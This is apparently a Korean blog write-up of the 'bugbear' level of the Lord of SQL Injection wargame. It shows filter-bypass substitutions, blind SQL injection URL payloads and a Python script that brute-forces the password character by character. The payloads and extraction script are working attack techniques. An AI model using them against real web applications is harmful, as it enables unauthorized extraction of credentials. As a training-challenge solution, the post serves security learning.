-
<Lord of SQL Injection> bugbearWargame/Lord of SQL Injection 2021. 11. 15. 00:17
전달받은 no의 값은 prob, _, ., (), substr, ascii, =, or, and, 공백, like, 0x를 필터링한다.
전달받은 pw의 값은 싱글 쿼터(')를 필터링한다.
함수 및 연산자 대체 substr mid 또는 right 또는 left or || and && 또는 %26%26 공백 %09, %0a, %0b, %0c, %0d, %a0, /**/ like 또는 = in 쿼리의 조건을 참으로 만들기 위해
?pw=&no=1%09||%092%09>%091을 입력하면
Hello 문이 출력된다.
쿼리의 조건을 거짓으로 전달하면
?pw=&no=1%09||%092%09<%091
아무것도 출력되지 않는다.
오류 메시지가 출력되지 않고 SQL 쿼리의 참과 거짓을 구분할 수 있기 때문에 Blind SQL Injection 공격을 수행할 수 있다.
먼저 pw의 길이를 찾아야 한다.
?pw=&no=1%09||%09length(pw)%09<%099를 입력하면
pw의 길이가 9보다 작은 것은 참이고,
?pw=&no=1%09||%09length(pw)%09<%098을 입력하면
pw의 길이가 8보다 작은 것은 거짓이다.
이를 통해 pw의 길이는 8인 것을 확인할 수 있다.
이제 한 글자씩 찾아야 한다.
?pw=&no=1%09||%09mid(pw,1,1)%09in("5")를 입력하면
첫 글자가 '5'인 것을 확인할 수 있다.
나머지 글자를 파이썬 코드를 통해 찾아보면
import requests baseurl = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php" want_str = "<h2>Hello admin</h2>" want_str2 = "<h2>Hello guest</h2>" pw = '' pw2 = '' filter = ['_', '.', "'", '='] for i in range(1, 9): for j in range(33, 127): j = chr(j) if j in filter: continue url = baseurl + '?pw=&no=1%09||%09mid(pw,{},1)%09in("{}")'.format(i,j) cookies = {'PHPSESSID' : 'njfbau2krar6au5r4pfp256ipn'} res = requests.get(url=url, cookies=cookies) if want_str in res.text: pw += j break if len(pw) < i: pw += '_' for i in range(1, 9): for j in range(33, 127): j = chr(j) if j in filter: continue url = baseurl + '?pw=&no=1%09||%09mid(pw,{},1)%09in("{}")'.format(i,j) cookies = {'PHPSESSID' : 'njfbau2krar6au5r4pfp256ipn'} res = requests.get(url=url, cookies=cookies) if want_str2 in res.text: pw2 += j break if len(pw) < i: pw += '_' print("pw : ", pw) # 52_c39_1 print("pw2 : ", pw2) # fjdga094
앞에서 풀었던 Blind SQL Injection문제처럼
"Hello admin"을 출력하면 그때의 문자를 pw에 붙였다.
하지만 뭐가 문제인지 잘 모르겠지만, pw의 3번째와 7번째를 구하는 페이지 전체에서 "Hello admin"을 출력하지 않았다. "Hello guest"로 바꿔서 실행시키니 8자리가 출력되었지만, 정답은 아니었다.
3번째와 7번째가 "Hello admin"을 출력하지 않았기에 "Hello guest"를 출력하는 3번째와 7번째의 문자를 가져와
'52dc3991'을 입력하니 문제가 풀렸다.
다르게 푸는 방법도 공부해야 할 필요성을 느끼게 하는 문제였다.
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
<Lord of SQL Injection> assassin (0) 2021.11.16 <Lord of SQL Injection> giant (0) 2021.11.15 <Lord of SQL Injection> skeleton (0) 2021.11.14 <Lord of SQL Injection> darkknight (0) 2021.11.13 <Lord of SQL Injection> golem (0) 2021.11.13